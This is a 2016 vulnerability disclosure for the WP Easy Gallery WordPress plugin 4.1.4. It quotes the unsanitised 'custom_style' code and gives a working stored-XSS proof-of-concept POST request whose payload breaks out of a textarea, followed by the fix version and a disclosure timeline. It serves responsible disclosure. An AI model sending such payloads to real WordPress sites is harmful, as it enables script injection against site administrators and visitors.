## FULL DISCLOSURE
#Product : WP Easy Gallery
#Exploit Author : Rahul Pratap Singh
#Version : 4.1.4
#Home page Link : https://wordpress.org/plugins/wp-easy-gallery
#Website : 0x62626262.wordpress.com
#Linkedin : https://in.linkedin.com/in/rahulpratapsingh94
#Date : 26/Jan/2016
XSS Vulnerability:
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Description:
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“custom_style” parameter is not sanitized that leads to Stored XSS.
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Vulnerable Code:
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File Name: wpeg-settings.php
$temp_defaults[‘custom_style’] = isset($_POST[‘custom_style’]) ? $_POST[‘custom_style’] : ”;
<td><textarea name=”custom_style” id=”custom_style” rows=”4″ cols=”40″><?php _e($default_options[‘custom_style’]); ?></textarea></td>
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Exploit:
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POST /wp-admin/admin.php?page=wpeg-settings
wpeg_settings=3b59e6c6ef&_wp_http_referer=abc&display_mode=abc&num_columns =abc&show_gallery_name=abc&gallery_name_alignment=abc&use_default_style= abc&drop_shadow=abc&custom_style=</textarea><input+type%3Dtext+onclick%3Dalert(%2FXSS%2F)><!–&defaultSettings =xss&Submit=Save
Fix:
Update to 4.1.5
Disclosure Timeline:
reported to wordpress : 18/1/2016
wordpress response (plugin taken down) : 19/1/2016
vendor deployed a patch : 26/1/2016
#######################################
# CTG SECURITY SOLUTIONS #
# www.ctgsecuritysolutions.com #
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Pub Ref:
https://wordpress.org/plugins/wp-easy-gallery/changelog/
Thanks for the info! Someone or machine tried to explore my website. I don’t have the plugin, but my server logged the 404 (wp-content/plugins/wp-easy-gallery-pro/admin/php.php) and emailed me of the issue. I did a google search and found your post. Now I understand what XSS Vulnerability is and knowledge that my site is safe. 🙂
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